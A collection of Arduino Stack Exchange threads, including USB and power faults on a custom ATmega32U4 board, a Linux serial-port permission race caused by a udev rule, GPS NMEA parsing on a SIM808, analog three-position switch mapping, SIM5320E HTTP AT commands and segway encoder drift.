Sort of, but really suggestion for Z1/Z2 is really separate from the pull-down thing. The idea is that Z1/Z2 are for protection that isn't strictly needed to make it work. So at best they are not interfering. The point of the D+/D- measurement is to see that the chip is actually trying to enumerate at full-speed in the bootloader. The point of the pulling down while measuring is that the host that is normally connected (now not connected) usually pulls them weakly toward GND. If you don't do that yourself they may float and give false measurement.

uploading a sketch with programmer deletes the bootloader

@hcheung I tried reinstalling the drivers but it didn't seem to help. Thanks for the suggestion and for looking things over

@timemage Well I was able to do the test today; I added 22k Ohm pulldowns to D+ and D- and measured them while in the bootloader. D+ was reading 3.1V to 3.3V and D- was reading 0V compared to GND. I got the same results with removed Z1 and Z2 and when testing while they were still in place.

Well, then your chip is enabling USB for full-speed, which is what the caterina bootloader (Arduino Micro bootloader)  does. If these voltages are making to the host port, you should, at a minimum get a failure diagnostic in dmesg or device manager or whatever that indicates either a failure to issue USB Set Address or a failure to Get Descriptor, usually the device descriptor. Absence of both would mean something like that's a charge only port, or you have a break in D+ between where you're measuring and the D+ as it goes into the computer/hub.

One thought that came to my mind, you might want to look into Atmel DFU driver.

@hcheung I took "not recognized as a USB device" to mean that it wasn't enumerating on the USB at all as opposed to enumerated as an "unrecognized device."   If that's correct then it won't matter what drivers are installed, since it would need to enumerate to even know which drivers to consider.

Well I finally found the source of the problem, many thanks to everyone here who helped me narrow things down and kept pointing me in the right direction. After figuring out that D+ and D- were getting pulled appropriately by the chip I decided to desolder the USB port on the board, cut a USB-A 2.0 cable and solder the leads directly to the board and, suddenly, it worked. After this I realized the problem must have been with the USB port on the board and upon comparing the datasheet to my pcb file, I realized that the footprint I used and the one in the datasheet had the pins laid out in a different order.
I feel a bit embarrassed for taking up people's time on such a stupid error I made (and admittedly didn't even provide enough information for anyone to be able to figure out for me, despite all of your patience and helpful advice), but at the same time I am both relieved I figured out the problem and grateful for all the help I got on this post, I'm not sure how long it would have taken me to figure out without your suggestions. I learned a lot about the layout of arduino boards, the purposes of various components in said boards, the importance of double checking footprints, and about better practices for asking for assistance.
As a note on "post etiquette" or whatever you would call it, since everyone provided assistance in comments, I didn't see a way to close the post without answering my own question (I am new to posting here), so I hope that is an acceptable way to do so.

It is perfectly fine to answer your own question and mark it as accepted. You might want to read some pages of the [help] to learn more.


text:
Why wont my custom Arduino-Micro-based board receive power via USB?
UPDATE: I believe I have mostly solved the power issues, but now have USB connectivity issues described in EDIT 3 at the bottom.
I designed and printed a PCB for my MIDI controller project with a modified Arduino Micro microcontroller built in. I swapped out the USB Micro for a USB-C type port (just using the 2.0 protocol), but when I plug it in, after programming the bootloader to the ATMEGA32U4 via "Arduino as ISP" with an Uno as ISP to the ICSP of my board, my board seems to get no power from the USB bus (the power LED doesn't light up, nor is it recognized as a USB device), but it does get power over the ICSP and I got a success message after programming it with the Uno.
I have tried many USB cables, including USB-C ones I know to be 2.0 compatible and USB Micro cables (which have been tested with regular Arduino Micros) with micro-to-C adapters, but still get nothing. My PCB has full parity with my SCH file, and I tested it on multiple  of these boards that I got printed, so I am pretty sure I must have messed something up in the schematic or in component selection (not all the exact components from the official Arduino Micro schematic were available at JLCPCB where I had mine printed so I made some substitutions).
Can anyone help me figure out what the issue might be?
EDIT 1: So I found out that the power is coming in through the USB,  its reading 5V at the USB pins, 5V on either side of the fuse F1 and the VUSB pin of the T1 FDN340P/PMV48XP, but 0V at both the VIN and +5V pins of the same T1, so that seems to be the problem component? I'm using a PMV48XP in that position, not sure if I messed that up somehow? I'm a bit out of my depth here I think
I've uploaded the schematic and the component list below:

Components:
| Designator                                             | Value                   | Component                |
|:--------------------------------------------------------|:-------------------------|:--------------------------|
| C_ARD_1, C_ARD_2, C_ARD_6, C_ARD_9, C_ARD_10, C_ARD_11 | 100n                    | CL05B104KO5NNNC          |
| C_ARD_3, C_ARD_14                                      | 22u                     | RVT22UF16V67RV0017       |
| C_ARD_4, C_ARD_5, C_ARD_7                              | 1uF                     | CL05A105KA5NQNC          |
| C_ARD_12, C_ARD_13                                     | 22pF                    | 0402CG220J500NT          |
| D_ARD_2                                                | CD1206-S01575           | CDSU4148-HF              |
| F1                                                     | MF-MSMF050-2 500mA      | MF-MSMF050-2             |
| J3                                                     | USB_C_Receptacle_USB2.0 | KH-TYPE-C-16P            |
| L1                                                     | green                   | 19-217/GHC-YR1S2/3T      |
| L2                                                     | MH2029-300Y             | BLM21PG300SN1D           |
| ON1                                                    | blue                    | 19-217/BHC-ZL1M2RY/3T    |
| R_ARD_1, R_ARD_2, R_ARD_4, R_ARD_9                     | 10K                     | 0402WGF1002TCE           |
| R_ARD_5, R_ARD_6, R_ARD_7, R_ARD_8                     | 1K                      | 0402WGF1001TCE           |
| R_ARD_10, R_ARD_11                                     | 5.1k                    | 0402WGF5101TCE           |
| RP3                                                    | 22R                     | 4D03WGJ0220T5E           |
| RX1, TX1                                               | yellow                  | 19-213/Y2C-CQ2R2L/3T(CY) |
| T1                                                     | FDN340P/PMV48XP         | PMV48XP                  |
| T2                                                     | PMV48XP                 | PMV48XP                  |
| U1                                                     | ATMEGA32U4-XUMU         | ATMEGA32U4-MU            |
| U2                                                     | NCP1117-5               | NCP1117ST50T3G           |
| U4                                                     | LP2985-33DBVR           | LP2985-33DBVR            |
| Y3                                                     | 16MHz KX-7              | 3225-16.00-10-10-10/A    |
| Z1, Z2                                                 | CG0603MLC-05E           | EZJZ0V500AA              |

EDIT 2: I think I found the problem. It looks like something got messed up when I was choosing the footprints of the MOSFET transistors T1 and T2. Here is a screenshot from the datasheet of the PMV48XP datasheet showing the pinning info:

and now here is a screenshot of the relevant part of my PCB file:

So according to my schematic (again, based on the official Arduino Micro SCH, so I'm assuming its correct?) T1 Gate should be VIN, T1 Source should be +5V, T1 Drain should be VUSB. On my PCB T1 Gate is actually VUSB, T1 Source is +5V, T1 Drain is actually VIN. So it looks like the Gate and Drain pins got swapped between my SCH and my PCB. Same story for T2.
Can anyone with more knowledge confirm that the connections outlined in the schematic are correct? And whether that would explain the problems I've described?
EDIT 3: I have de-soldered T1 and T2, which were in indeed incorrectly wired. I have shorted the contacts between VUSB and +5V on the footprint of T1 and the board is getting power as it is supposed to.
Now I have a new issue which is that after I have programmed the board via ICSP (using the Arduino as ISP method, burning the Arduino Micro bootloader to it), when I plug the board into my computer (again, testing with a variety of cables and ports), my computer won't recognize it as a USB device. I'm not sure if this is a related problem to my previous one (and maybe I should make a new post if not?) or where I am going wrong now.

Were you testing with a USB-A to USB-C table?

@timemage I have tried several USB-A to USB-C and a couple different USC-C to USB-C cables (as well as both to micro to micro-to-C adapters)

@jsotola Great point, not sure why I didn't try measuring it. I updated my post with more details, but I'll reiterate it here: I found out that the power is coming in through the USB, it's reading 5V at the USB pins, 5V on either side of the fuse F1 and the VUSB pin of the T1 FDN340P/PMV48XP, but 0V at both the VIN and +5V pins of the same T1, so that seems to be the problem component? I'm using a PMV48XP in that position, not sure if I messed that up somehow? I'm a bit out of my depth here I think

See if 5V gets to pin 2 of J4. If it does you're probably just having trouble getting through oxide or flux gunk or something directly at the T1 lead.

@timemage So I'm not getting 5V at pin 2 of J4 or anywhere else +5V is marked on the SCH, but I think I found the problem. I added more details at the bottom of my original post, but I somehow have the drain and gate pins mixed up for each of my transistors T1 and T2 between my schematic and my PCB file, so I believe that's what's causing my problems, if I'm reading my own SCH and PCB files correctly

The T1 and T2 footprints are incorrect as you have said. If you are not going to use Vin to power the device and are going to use the USB  cable only,  you could unsolder T1 and T2. On the footprint of T1, bridge the pads marked VUSB and +5V.
During programming via the ICSP header, ensure the USB cable is disconnected. That all as an alternative to reworking the board in a more substantial way.

@6v6gt Appreciate the confirmation and the suggestion. I gave it a try and it seems to be getting power from the USB now! I must have messed something else up however  or have missed a step, since my computer isn't recognizing it as a USB device even after I have programmed it via the ICSP

I think you need to understand a little bit of how the T1 and T2 functions in order to troubleshoot. The purpose of T1 is when power is supplied via VBUS, and when Vin is not presented (i.e. at 0v), the VUSB is directly supplied as the 5V(bypassing the NCP1117 regulator). However, when you power via Vin and it is at least higher than 5V(likely at 7V), it will turn off the T1 and cut off the VUSB supply, and T2 is on, Vin is apply as the input to the NCP1117.
So with this in mind, if you connect your board via VBUS but can't get 5V, then you either has a malfunction T1 or you had connect T1 drain and source wrongly. However, if you supply your board via Vin, and don't get the 5V, there could be that your Vin is not high enough to turn on the T2, or your had wrong connection on T2.

Thanks, I appreciate the info as I am clearly not super knowledgeable here. It looks as though I incorrectly connected the gate and drain on both T1 and T2 and have de-soldered them and shorted VUSB and +5V to use VUSB directly.
In the future I hope to revise my board to fix the error without needing to short any connections, and since I plan on always powering the board via the USB, it sounds like the best approach is to simplify the design and remove unneeded components, if I am understanding things correctly? Could I simply remove T1, T2 and the NCP1117 regulator and use VUSB as +5V?

If you do not breaks out the Vin pin for user to connnect via Vin, then yes, you can remove T1, T2, R_ARD_9 and NCP1117, and supply the board directly via USB.


text:
Permission denied on upload w/ IDE 2
Dealing with this very common issue on IDE v2.0.0., but not sure why.
I should be fine group-wise:
adm tty dialout cdrom sudo dip plugdev lpadmin lxd sambashare docker

I've also seen numerous suggestions to change the device's permissions directly via chmod a+rw /dev/<device>. This is terrible advice, but nothing is working so far, so I tried it anyway. It also doesn't work, as at some point during the upload process, the device is removed and recreated, resetting the permissions.
edit: I've also ensured that ModemManager is not running, and has been purged from the system.
Running the IDE as root always fails, including when the --no-sandbox argument is passed.
I'm using the AppImage download on Ubuntu 22.04, but I tried the zip download, with the same results.
edit: Previously in this spot was a note about this problem not occurring on IDE v. 1.8. That wasn't actually the case - I was just testing with a board that doesn't remove and re-create the device on upload. Using a board where that does occur (Arduino Micro in this case), the error occurs in 1.8 as well.
Using avrdude directly (as my normal user account) also works just fine.
Additional observation - when the device is recreated by the OS after plugging the Arduino board in, it's first created with crw------- 1 root root permissions, and remains in that state for a very short period of time before switching to crw-rw----+ 1 root dialout permissions, at which point uploads work as expected.

You have since rebooted (or at least logged out and in) to be certain that any chances you made to your group membership has been inherited to all processes involved?

@timemage I've been a member of those groups for literally years, so I have extreme confidence that all my groups are correct. This isn't the first time I've head to deal with this, but nothing is working this time around. Again, 1.8 works fine.

Well, I use the 2.0 IDE a little bit, but the system I'm no now is not Ubuntu, nor Debian based. If no new information shows up I may install Ubuntu in a VM may a USB device into it and see what happens when I try there. Given "using avrdude directly... works just fine", what exactly is producing this message? avrdude only as launched by the 2.0 IDE? When you tested avrdude did you test with a system installed one or the avrdude out of the .arduino15 directory? Do you see anything interesting in an strace?

What I'm seeing is that the /dev/ttyACM0 device is being recreated by the OS when I connect the board in programming mode, first with permissions crw------- 1 root root, but a short time later (like within a second or so), those permissions switch over to the expected crw-rw----+ 1 root dialout. Because I am running avrdude directly after that switch has happened, it works, but for whatever reason, IDE 2.0 looks to be sending before the device permissions have settled, leading to the error. I don't know why the device goes through two sets of permissions like it does, though.

I don't know that it does this (I'm not sure why it would), but can you verify that ModemManager is not enabled. It's not something you want running anyway.

Ah forgot to mention that in the original message, but yeah, ModemManager has already been purged from the system.

Installed Ubuntu 22.04 in an VM, disabled ModemManger, added myself to dialout, restarted to take effect, dowloaded non-appimage IDE 2.0.0 zipfile. unpacked, ran, mapped in an UNO on USB, compiled/uploaded a blink sketch twice with different blink rates. No permission errors. Are you running something like selinux, containers, modified posix capabilities, apparmor, etc?

I've not modified anything in this install that I'm aware of. Does your USB device get removed and re-created each upload? That is the core of this problem. I'm watching the file via watch -n 0.1 ls -l /dev/ttyACM0, then starting an upload. It's the short window of crw------- 1 root root permissions immediately upon creation of the device that seems to be the issue here. Everything is fine once the permissions settle, but I do not know what mechanism causes this. I assume it's in the OS, but many searches on this have come up with nothing.

Let us continue this discussion in chat.

I thought you were going to post something. But, sure I can. It'll take a little bit, but I'll put something basic up first.

oh I can make a post. I just wanted to give credit where it was due

The reason why I'm thinking you want to is that you then have more freedom to clean up the question. I'd feel weird editing your question to the degree that I'd be inclined to in order to make the answer match  cleanly with it.

fair enough. i'll take care of it

You can drop all the Edit: stuff. So there's no saga to follow. Just have it be the symptom that people are likely to find with search terms and then move all the answer material into an answer. Offhand the only input I have on the answer is that it's solvable at different levels. One is removing the package entirely another being the specific edit.

After a long debugging session in chat, we've determined that a udev entry installed by the apt package laptop-mode-tools takes a long time to run, leading to the permissions not settling on the USB device until after the IDE has attempted to upload.
This problem happens even when laptop-mode isn't enabled because you're e.g. using AC. You don't need to be actually using a laptop for this problem to occur, as laptop-mode-tools is a generic power-saving package that can be installed anywhere.
The udev rule in question is ACTION=="add", SUBSYSTEM=="usb", RUN+="lmt-udev force" in the file  /lib/udev/rules.d/99-laptop-mode.rules.
Commenting out that udev rule, or changing force to auto resolves the problem for me (without needing to restart udev, or anything else).
Larger hammers that can be used to resolve this include setting ENABLE_LAPTOP_MODE_TOOLS to 0 in /etc/laptop-mode/laptop-mode.conf, or simply removing laptop-mode-tools from the system entirely.
@timemage gets the credit for this fix.

Yeah. An Arduino user stands chance of finding this avoiding some grief with it. I may tack on some comments later that you can integrate (or not). The only one I'll mention now is just that this problem will not be particularly noticeable for a board that with a dedicated serial transceiver, e.g. the UNO, NANO, Mega, ESP8266 boards, because they don't re-enumerate on the USB bus during each reset/upload. Once the permissions become correct (quickly or slowly) the remain correct until disconnected.


text:
Writing to ADMUX on 3.7V from battery restarting chip
Given: arduino nano (atmega328P) with nrf24l01.
What am I trying to do: Measure battery drain.
What am I doing for that.
So I made a small research of how could I measure the battery voltage without using any additional pins (already printed the board and suddenly realized it would be good to also measure the battery drain). And found samples with almost always similar code:
long readVcc() {
  long result;
  // Read 1.1V reference against AVcc
  ADMUX = _BV(REFS0) | _BV(MUX3) | _BV(MUX2) | _BV(MUX1);
  delay(2); // Wait for Vref to settle
  ADCSRA |= _BV(ADSC); // Convert
  while (bit_is_set(ADCSRA,ADSC));
  result = ADCL;
  result |= ADCH<<8;
  result = 1126400L / result; // Back-calculate AVcc in mV
  return result;
}

It works okey when I have batteries charged but once it get to 3.7 volts writing to ADMUX seems to be crashing the whole program and restarts chip. Everything else is working fine before this operation though.
Several questions:

Could anyone explain me why does it crash?
How to prevent it?
Would reflashing bootloader and setting oscillator to 8Mhz help with this problem?

add debugging code... the program may not be crashing ... it may be getting into an endless loop ... the while line may be the endless loop

I'm pretty sure it is crashing. Because it restarts and sends data again with nrf24l01. I checked it by sending counter which I increment each loop. And when it is crashing it is always 0. So it is crashing.

could be the power supply browning out when the NRF24L01 activates its radio

Not really sure how can it be possible. With a slightly higher power everything works alright. Also if I connect temp sensor everything works alright. It is failing exactly on writing to ADMUX.

How did you figure out it was failing exactly on writing to ADMUX?

@Fahad pretty easy. I just left this operation and checked the behaviour.


text:
Getting “Open the GPS power failure” on module SIM808
I tried to get the gps coordinates with this program:
#include <DFRobot_sim808.h>
#include <SoftwareSerial.h>

#define PIN_TX    8
#define PIN_RX    7
SoftwareSerial mySerial(PIN_RX,PIN_TX);
DFRobot_SIM808 sim808(&mySerial);//Connect RX,TX,PWR,

//DFRobot_SIM808 sim808(&Serial);

void setup() {
  mySerial.begin(9600);
  Serial.begin(9600);

  //******** Initialize sim808 module *************
  while(!sim808.init()) {
      delay(1000);
      Serial.print("Sim808 init error\r\n");
  }

  //************* Turn on the GPS power************
  if( sim808.attachGPS())
      Serial.println("Open the GPS power success");
  else
      Serial.println("Open the GPS power failure");

}

void loop() {
   //************** Get GPS data *******************
   if (sim808.getGPS()) {
    Serial.print(sim808.GPSdata.year);
    Serial.print("/");
    Serial.print(sim808.GPSdata.month);
    Serial.print("/");
    Serial.print(sim808.GPSdata.day);
    Serial.print(" ");
    Serial.print(sim808.GPSdata.hour);
    Serial.print(":");
    Serial.print(sim808.GPSdata.minute);
    Serial.print(":");
    Serial.print(sim808.GPSdata.second);
    Serial.print(":");
    Serial.println(sim808.GPSdata.centisecond);
    Serial.print("latitude :");
    Serial.println(sim808.GPSdata.lat);
    Serial.print("longitude :");
    Serial.println(sim808.GPSdata.lon);
    Serial.print("speed_kph :");
    Serial.println(sim808.GPSdata.speed_kph);
    Serial.print("heading :");
    Serial.println(sim808.GPSdata.heading);
    Serial.println();

    //************* Turn off the GPS power ************
    sim808.detachGPS();
  }

}

But when I run it, I'm getting the "Open the GPS power failure" message.
I think my gps is working because If I try with AT commands Im getting a response:
 AT+CGPSSTATUS?
+CGPSSTATUS: Location 3D Fix

OK
AT+CGPSINF=0
+CGPSINF: 0,2543.585143,10018.826326,483.868110,20221118025902.000,19,10,0.509509,266.733459

OK

I even tried to get NMEA info and parse that in python, I was getting my actual position so it seems is working properly.
The problem comes when I tried to use DFRobot_sim808 library or TinyGps libraries.
I would like to know what might be causing this issue or is there a way to parse NMEA info coordinates without using a library?

this may help ... https://www.gpsworld.com/what-exactly-is-gps-nmea-data/

are you at a library in Monterrey?

Yeah... I was there. How did you get the location? I know I gave them but I want to know how you translate or parse that raw gps info

I parsed the NMEA sentence ... 2543.585143,10018.826326 is the latitude and longitude ... 25 degrees 43.585143 minutes ... 100 degrees 18.826326 minutes .... that is 25.72641905, 100.3147721 degrees .... 25°43'35.1"N 100°18'53.2"W
https://goo.gl/maps/2UV2g2qouJ2uWhJaA

Okey I understand that you are parsing coordinates in DDDMM.MMMM to a more readible format. But how are you doing that? Are you using a formula, a software, a library or what? I want to know that because I need to capture that info through code

pencil and paper  ... convert degrees and minutes to decimal degrees

Okey, you really gave me enough to work with. Thank you :)


text:
How to boil down analog input to just three cases?
I am investigating the use of a 3-position-switch for one of my projects to switch between different settings using just one analog input pin. For the three positions I am using ground/0V, ~2.5V (via 2x10k voltage divider) and full 5V. I am doing this also because I am planning to use a 5-position rotary switch in a similar way in the future.
Due to tolerances and noise, the readings on the analog pin are not precisely 0, 511, 1023, but rather 0-1, 509-512 and 1021-1023. To take this into account, I am using the map function like this:
const byte alarmSwitchPin = A0;
int alrmSwState;
byte alrmSet;
byte alrmPrevSet;

void setup() {
  Serial.begin(9600);
  pinMode(alarmSwitchPin, INPUT);

}

void loop() {

  alrmSwState = analogRead(alarmSwitchPin);       // Read input

  byte alrmSet = map(alrmSwState, 0, 1023, 0, 2); // Boil input down to three cases

  if (alrmSet != alrmPrevSet) {                   // Only if state of switch has changed
    switch (alrmSet) {
      case 0:
        Serial.println("Low");
        break;
      case 1:
        Serial.println("Medium");
        break;
      case 2:
        Serial.println("High");
        break;
    }
    alrmPrevSet = alrmSet;
    delay(200);                                   // For testing purposes
  }
}

I only want the setting to change (or, in this case, the console to print) when the state has actually changed. This does not work, though, because the map function is doing its math in integer, which fails in mapping the High position (in this case).
What are my options if I want to stick with the switch method? I am curious if it is possible to get this done without if statements and conditions or, as a more general question, what the best option is to properly map the 10 bit analog input to just 3 cases/numbers.
PS: I thought analogReadResolution() might be an option but I am working with Arduino UNO where this is unavailable.

Solve it with the analog value, not with the map function. The tilting points are at 256 and 768. Below 256 is 0, between 256 and 768 is 1 and above 768 is 2.

You have chosen a tricky method.  Likely you will need to use both hysteresis and averaging.  Averaging will slow down the response - no matter how fast the processor is.  If dead set on using a rotary input device, most would choose a rotary encoder which is digital in nature.

map will do alrmSwState/512, returning 2 only for 1023

The simplest fix to your problem is to change the map() call to
byte alrmSet = map(alrmSwState, 0, 1024, 0, 3);

In the call above, the mapped intervals are of the semi-open type, e.g.
[a, b), where the start values (namely 0) are understood as being
inclusive and the end values (1024 and 3) are exclusive.
Although not clear from the documentation, this is the proper way to use
the map() function. Otherwise, the truncated division gives you very
uneven intervals. Compare:
     x       map(x, 0, 1023, 0, 2)
----------------------------------
   0 –  511     0
 512 – 1022     1
1023            2

     x       map(x, 0, 1024, 0, 3)
----------------------------------
   0 –  341     0
 342 –  682     1
 683 – 1023     2

The result you get is very close to Jeff Wahaus’ answer.
What I find annoying about this approach is that a 32-bit integer
division, which map() uses internally, is a very expensive operation
on the small 8-bit Arduinos. If instead of 342 and 683, you use 256 and
768 as thresholds, then you can make the decision by just looking at the
high byte of the analog reading:
uint16_t alrmSwState = analogRead(alarmSwitchPin);

alrmSet = alrmSwState / 256;

if (alrmSet != alrmPrevSet) {
    switch (alrmSet) {
        case 0:
            Serial.println("Low");
            break;
        case 1:
        case 2:
            Serial.println("Medium");
            break;
        case 3:
            Serial.println("High");
            break;
    }
    alrmPrevSet = alrmSet;
    delay(200);
}

Note that the division by 256 is optimized by the compiler into a much
cheaper bit shift, but this is the case only if alrmSwState is of an
unsigned integer type. That's why it is declared above as uint16_t.

Thank you very much for pointing out how to properly use the map function (never heard of semi-open type before in this context). Also thanks for pointing me to a more efficient method.

I just tried using the uint: In mid position the case sometimes switches between 1 & 2 due to noise like touching an insulated wire (alrmSwState ~ 509-514). Therefore the if condition won't work as intended. As a workaround I am dividing by 250 with resulting usable cases 0, 2 & 4. This is not as efficient as you intended. Considering I am using an odd number of switch positions (meaning one position very close to the center / break point) am I right in my assumption that there is no way for me to get the division done as elegant as you suggested without adding a substantl amount of code?

@fertchen: The switching between 1 and 2 in the mid position is normal and expected. That's why case 1 and case 2 lead to the same statements in the example code above. If you have more than three cases, the simplest option may be to use map(). Otherwise, a chain of else if, though less elegant, is likely more efficient than map().

Replace the line:
byte alrmSet = map(alrmSwState, 0, 1023, 0, 2);
with
byte alrmSet = alrmSwState / ((1023 / 3) + 1);
And this should do what you want.  Note that in C fractional results are truncated (not rounded)

this is wrong. it will give 3, 2, 1, 0

It is correct.  The max value returned is 1023 when divided by 342 = 2.991... which will give the integer division result of 2.

sorry, I forgot that Calc rounds to the nearest. I upvoted

and map will do alrmSwState/512 which is not correct

Why 342 and not 343? I like to see comments in the code that explains all the numbers.

343 would work as well, but 342 gives the most even spread.  The number is derived by:  (1023 / 3) + 1  or  (Max_return_value / number_of_states) + 1

I agree with Jot here. It would be good if your code read byte alrmSet = alrmSwState / ((1023 / 3) + 1);. Then there are no magic numbers whose value is a mystery. The compiler will optimize out the division so this won't be inefficient.

Just three lines of code are needed for the conversion.
almSet=0;
if (alrmSwState>300) almSet++;   // increment almSet
if (alrmSwState>600) almSet++;

You might also consider reading the value several times and summing them, then base your decision on the sum.
This is equivalent to averaging the values but without dividing by 'n', since you don't care about the actual number, just the band it falls into. This will have the effect of improving the signal to noise ratio, since we assume that high-reading errors are as likely as low-reading errors, so their sum tends toward zero as the sum of the real value, V, tends toward (n*V).
Use an int or larger variable for the sum, depending on how many readings you choose to take each time.


text:
How to configure TinySine 3G module (SIM5320E) for HTTP GET request
I recently bought a 'TinySine 3G shield (SIM5320E) 900/2100Mhz' based on Adafruit_FONA libraries to use with Arduino Mega 2560 R3.  It successfully registered with Vodafone AU. Other functionality works (SMS, GPS) but not HTTP/TCP.

I'm following this TCP/UDP section of SimCom tutorial to receive data from a REST API. But I cannot set the APN for TCP as there is no support for AT+CSTT command as it seems.
I can see it's on WCDMA network.
    AT+CREG?
    +CREG:1,1

    AT+CPSI?
    +CPSI: WCDMA,Online,505-03,0x014E,xxxxxxx,WCDMA IMT xxxx,xxx,xxxx,0,12.0,97,12,18,500
    OK

Error comes here
    AT+CSTT="live.vodafone.com"
    ERROR

Is there a way to resolve this issue
 - With the same setup/libraries OR
 - By upgrading libraries/firmware of the module OR
 - Using any other set of commands
Please provide if any of you have a sample code to access a REST API. Appreciate your help very much.

did you follow the HTTP section of that tutorial? .... it uses commands that you did not mention in your post

Thanks for the comment. I corrected the link. I followed the TCP/UDP section to be exact.

CSTT works on GPRS modules like SIM900. I found a way to get SIM5320E working to download websites. Tested with TeraTerm and used <Ctrl M> and <Ctrl J> instead of '<CR> <LF> OR /r/n' characters.
Network setup
AT+CGDCONT=1,"IP","<your APN>","0.0.0.0"
AT+CGSOCKCONT=1,"IP","<your APN>"
AT+CSOCKSETPN=1

Start HTTP service
You can stop and start service if it's not responding properly.
AT+CHTTPSSTART
AT+CHTTPACT="www.iforce2d.net",80

HTTP GET request
GET /test.php HTTP/1.1  <-- don't hit enter, instead hit the below 2 keys
<Ctrl M>
<Ctrl J>
Host: www.iforce2d.net  <-- don't hit enter, instead hit the below 2 keys
<Ctrl M>
<Ctrl J>
Connection: close  <-- don't hit enter, instead hit the below 4 keys. This is useful when connecting to REST APIs to download the the respective result only.
<Ctrl M>
<Ctrl J>
<Ctrl M>
<Ctrl J>

To end the command and to receive results:
<Ctrl Z>

You will receive a lot of data here.
Stop HTTP service
AT+CHTTPSCLSE
AT+CHTTPSSTOP

You will get the contents of the website. Probably it should contain the data you need (I didn't test the content. May be you will need to tweek the result a bit.)


text:
Problem with encoder count on a segway handlebar
I'm trying to implement a steering mechanism for a segway project.
The idea is to sense the tilt of the segway's handlebar with an incremental rotary encoder (omron e6j-cwz 600ppr). This way when I turn the bar to the left or right the segway turns too.
I'm using a Teensy 3.2 with the arduino IDE.
To drive the motors I use PWM.
The pulse limits are the calibrated values for +/- 100% (+/- 24V) input. The pulse range is 1.0 to 2.0ms, with 1.5ms as the zero value.
Here is a picture of the turning mechanism.

The problem is that, the movement of the handle bar is not very smooth and sometimes after tilting the handlebar and returning it to the straight position, the count never really goes back to 0, but some value around -6 to 6 counts and sometimes even -15 to 15 counts.
So the segway tries to turn even though the bar is straight.
The code I'm using to sense the tilt and set the motors is:
//Turn encoder
#define c_TurnEncoderPinA 15
#define c_TurnEncoderPinB 14
#define TurnEncoderIsReversed
volatile bool _TurnEncoderBSet;
volatile int _TurnEncoderTicks = 0;
/** Turn position */
int TurnAngular = 0;

/** Proportional gain */
int kp = 55;

/** voltage to the motor*/
float vol = 0;
float aux;
/** calulated pwm pulse*/
float uy = 0;

/**Left motor control*/
int motorL=9;
/**Right motor control*/
int motorR=10;

//Mapping voltage to pwm (Mc 160 controller)
float  p1 = -25.44, p2 = 0.1894, p3 = 146.6, p4 = -0.2874, p5 =  -480, p6 =  1500; //pwm3

//Discrete time values
const int samplingTime = 1000*10; // 10000 microseconds = 10ms
unsigned long previousTime, currentTime, timeDifference;
int estimationTimeCount = 1;

void setup() {
  delay(3000);
  Serial.begin(115200);
  delay(2000);
  previousTime = micros();
  // Turn encoder
  pinMode(c_TurnEncoderPinA, INPUT_PULLUP);      // sets pin A as input
  pinMode(c_TurnEncoderPinB, INPUT_PULLUP);      // sets pin B as input
  attachInterrupt(digitalPinToInterrupt(c_TurnEncoderPinA), HandleTurnMotorInterruptA, RISING);

  /*Initiate Output*/
  analogWriteResolution(11);
  pinMode(motorR,OUTPUT);
  pinMode(motorL,OUTPUT);
  analogWrite(motorR, 1500);
  analogWrite(motorL, 1500);

Serial.println("Start...");
}

void loop() {
  currentTime = micros();
  timeDifference = currentTime - previousTime;
  if (timeDifference > samplingTime)
  {
    previousTime = currentTime;
    sampleEncoders();
    setMotors();
    printData();
    estimationTimeCount++;
  }
}

void sampleEncoders() {
  TurnAngular = _TurnEncoderTicks; //update encoder reading every 10ms.
}

float turn(){
  if(TurnAngular<=6 && TurnAngular>=-6)
  {
    return 0;
  }
  else
  {
   //the voltage is calculated with a proportional gain
   //times the angle of the encoder in radians.
    return (kp*TurnAngular*(2*pi/(pprT)));
  }
}

void setMotors() {
    vol = turn();

    // this two lines map the calculated voltage to the pwm
    // in a range of 1000 to 2000.
    aux = (vol+0.01143)/13.13;
    uy = (int) p1*pow(aux,5) + p2*pow(aux,4) + p3*pow(aux,3) + p4*pow(aux,2) + p5*(aux) + p6;
    uy = constrain(uy, 1000,  2000);

    // this is just and idea I had to counter the problem.
    // if the control is within +/-50 pulses from 1500
    // set the pulse to 1500, and the last saved value of the count to 0.
    // every 2.5 sec if the condition in met, then also reset the actual
    // count of the encoder
    if (uy < 1550 && uy > 1450)
    {
      uy = 1500;
      TurnAngular = 0;
      if ( estimationTimeCount%250 == 0 && _TurnEncoderTicks != 0)
      {
        _TurnEncoderTicks = 0;
      }
    }
  }

  /**
 Left wheel (L): forward from 1500 to 1000, backward from 1500 to 2000.
 Right wheel (R): forward from 1500 to 2000, backward from 1500 to 1000.
  **/
 //set uy to each wheel to make the segway turn.
  analogWrite(motorR,uy);
  analogWrite(motorL,uy);
}

void printOutput()
{
  Serial.print("tout(");
  Serial.print(estimationTimeCount);
  Serial.print(", :) = [");
  Serial.print(TurnAngular);
  Serial.print(", ");
  Serial.print(_TurnEncoderTicks);
  Serial.print(", ");
  Serial.print(currentTime*pow(10,-6));
  Serial.println("];");
}

void HandleTurnMotorInterruptA()
{
  // Test transition; since the interrupt will only fire on 'rising' we don't need to read pin A
  _TurnEncoderBSet = digitalRead(c_TurnEncoderPinB);   // read the input pin
  // and adjust counter + if A leads B
  #ifdef TurnEncoderIsReversed
    _TurnEncoderTicks -= _TurnEncoderBSet ? -1 : +1;
  #else
    _TurnEncoderTicks += _TurnEncoderBSet ? -1 : +1;
  #endif
}

The original code for the encoder count can be found here.
In the code I put one of my own but it fails sometimes, I set a 0 voltage to the motors is the count is between +/- 6 counts.
A secondary issue is that when the bar tilt's to for example +7 counts the control is to aggressive, so I keep trying to find an ideal proportional gain.
Lastly I did not add the code for the balance action of the segway, mainly because it is not the issue and the control effort is just set to 0 while I try to fix the problem. Also, it would be too long.
What kind of solution would you guys think of?
I've edited the turn function like this:
float turn(){
int8_t TurnVal = 0;
  //deadZoneSize = 6
  if(TurnAngular <= deadZoneSize && TurnAngular >= -deadZoneSize)
  {
    return 0;
  }
  else
  {
    if (TurnAngular<0)
    {
      TurnVal = TurnAngular + deadZoneSize;
    }
    else
    {
      TurnVal = TurnAngular - deadZoneSize;
    }
    Serial.println(TurnVal);
    return (kp*TurnVal*(2*pi/(float)(pprT)));
  }

I can't find a way to fix the error between the actual straight position and the measured straight position (0 count). Sometimes after some movement of the bar, the actual straight position lies outside the dead zone, and the segway wants to turn anyways.
Here is an illustration.

I'd suggest using a Absolute rotary encoder, or a simple potentiometer. Those won't suffer from missing steps.

I could look into an absolute encoder, but I just want to see if it can fix it by code.
